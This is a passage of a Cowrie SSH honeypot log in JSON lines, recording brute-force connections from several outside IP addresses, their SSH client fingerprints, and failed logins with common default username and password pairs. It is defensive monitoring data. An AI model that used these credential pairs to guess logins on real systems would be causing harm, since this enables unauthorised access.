com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:21.194419Z","src_ip":"27.71.230.31","session":"fae43382bec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":48782,"dst_ip":"159.203.135.109","dst_port":22,"session":"072b916da3ee","protocol":"ssh","message":"New connection: 91.92.40.171:48782 (159.203.135.109:22) [session: 072b916da3ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:22.759496Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:22.763522Z","src_ip":"91.92.40.171","session":"072b916da3ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:22.845344Z","src_ip":"91.92.40.171","session":"072b916da3ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1234","message":"login attempt [minecraft/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:23.097629Z","src_ip":"91.92.40.171","session":"072b916da3ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"User2025","message":"login attempt [root/User2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:23.498725Z","src_ip":"27.71.230.31","session":"fae43382bec7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:24.186679Z","src_ip":"91.92.40.171","session":"072b916da3ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.4","message":"Connection lost after 5.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:25.867032Z","src_ip":"27.71.230.31","session":"fae43382bec7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48808,"dst_ip":"159.203.135.109","dst_port":22,"session":"8d6ff5048d75","protocol":"ssh","message":"New connection: 91.92.42.133:48808 (159.203.135.109:22) [session: 8d6ff5048d75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:26.328903Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:26.347802Z","src_ip":"91.92.42.133","session":"8d6ff5048d75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:26.439509Z","src_ip":"91.92.42.133","session":"8d6ff5048d75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"1234","message":"login attempt [pi/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:26.857612Z","src_ip":"91.92.42.133","session":"8d6ff5048d75","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:27.941421Z","src_ip":"91.92.42.133","session":"8d6ff5048d75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42456,"dst_ip":"159.203.135.109","dst_port":22,"session":"5feba6cf9aae","protocol":"ssh","message":"New connection: 91.92.40.171:42456 (159.203.135.109:22) [session: 5feba6cf9aae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:29.034381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:29.097879Z","src_ip":"91.92.40.171","session":"5feba6cf9aae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.32.39.21","src_port":58068,"dst_ip":"159.203.135.109","dst_port":22,"session":"adc2d38db144","protocol":"ssh","message":"New connection: 176.32.39.21:58068 (159.203.135.109:22) [session: adc2d38db144]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:29.635857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:29.639858Z","src_ip":"176.32.39.21","session":"adc2d38db144","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:29.656796Z","src_ip":"91.92.40.171","session":"5feba6cf9aae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:29.763541Z","src_ip":"176.32.39.21","session":"adc2d38db144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maksim1996","message":"login attempt [root/maksim1996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:30.138740Z","src_ip":"176.32.39.21","session":"adc2d38db144","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:31.264842Z","src_ip":"176.32.39.21","session":"adc2d38db144","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"runner","password":"runner","message":"login attempt [runner/runner] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:32.819874Z","src_ip":"91.92.40.171","session":"5feba6cf9aae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":42524,"dst_ip":"159.203.135.109","dst_port":22,"session":"15650fb9bccf","protocol":"ssh","message":"New connection: 91.92.40.171:42524 (159.203.135.109:22) [session: 15650fb9bccf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:33.868517Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":48906,"dst_ip":"159.203.135.109","dst_port":22,"session":"eabe77b58e0d","protocol":"ssh","message":"New connection: 91.92.42.133:48906 (159.203.135.109:22) [session: eabe77b58e0d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:33.886000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:33.892757Z","src_ip":"91.92.40.171","session":"15650fb9bccf","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:33.923343Z","src_ip":"91.92.42.133","session":"eabe77b58e0d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:33.980761Z","src_ip":"91.92.40.171","session":"15650fb9bccf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:34.019945Z","src_ip":"91.92.42.133","session":"eabe77b58e0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.5","message":"Connection lost after 5.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:34.567404Z","src_ip":"91.92.40.171","session":"5feba6cf9aae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"x","password":"1","message":"login attempt [x/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:34.576397Z","src_ip":"91.92.40.171","session":"15650fb9bccf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ec2-user","password":"123456","message":"login attempt [ec2-user/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:34.934969Z","src_ip":"91.92.42.133","session":"eabe77b58e0d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:35.678268Z","src_ip":"91.92.40.171","session":"15650fb9bccf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:36.030393Z","src_ip":"91.92.42.133","session":"eabe77b58e0d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":32826,"dst_ip":"159.203.135.109","dst_port":22,"session":"a19f49e143a7","protocol":"ssh","message":"New connection: 91.92.40.171:32826 (159.203.135.109:22) [session: a19f49e143a7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:40.121668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:40.139938Z","src_ip":"91.92.40.171","session":"a19f49e143a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.133","src_port":59524,"dst_ip":"159.203.135.109","dst_port":22,"session":"64e0cdd68708","protocol":"ssh","message":"New connection: 91.92.42.133:59524 (159.203.135.109:22) [session: 64e0cdd68708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:40.494585Z"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:40.538428Z","src_ip":"91.92.40.171","session":"a19f49e143a7","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:40.727392Z","src_ip":"91.92.42.133","session":"64e0cdd68708","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:40.729989Z","src_ip":"91.92.42.133","session":"64e0cdd68708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ark","password":"ark","message":"login attempt [ark/ark] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:42.879955Z","src_ip":"91.92.42.133","session":"64e0cdd68708","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"installer","password":"12345","message":"login attempt [installer/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:43.493052Z","src_ip":"91.92.40.171","session":"a19f49e143a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:44.493601Z","src_ip":"91.92.42.133","session":"64e0cdd68708","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.171","src_port":44252,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b8ed59e189a","protocol":"ssh","message":"New connection: 91.92.40.171:44252 (159.203.135.109:22) [session: 9b8ed59e189a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:45.116610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T00:26:45.162410Z","src_ip":"91.92.40.171","session":"9b8ed59e189a","protocol":"ssh"}
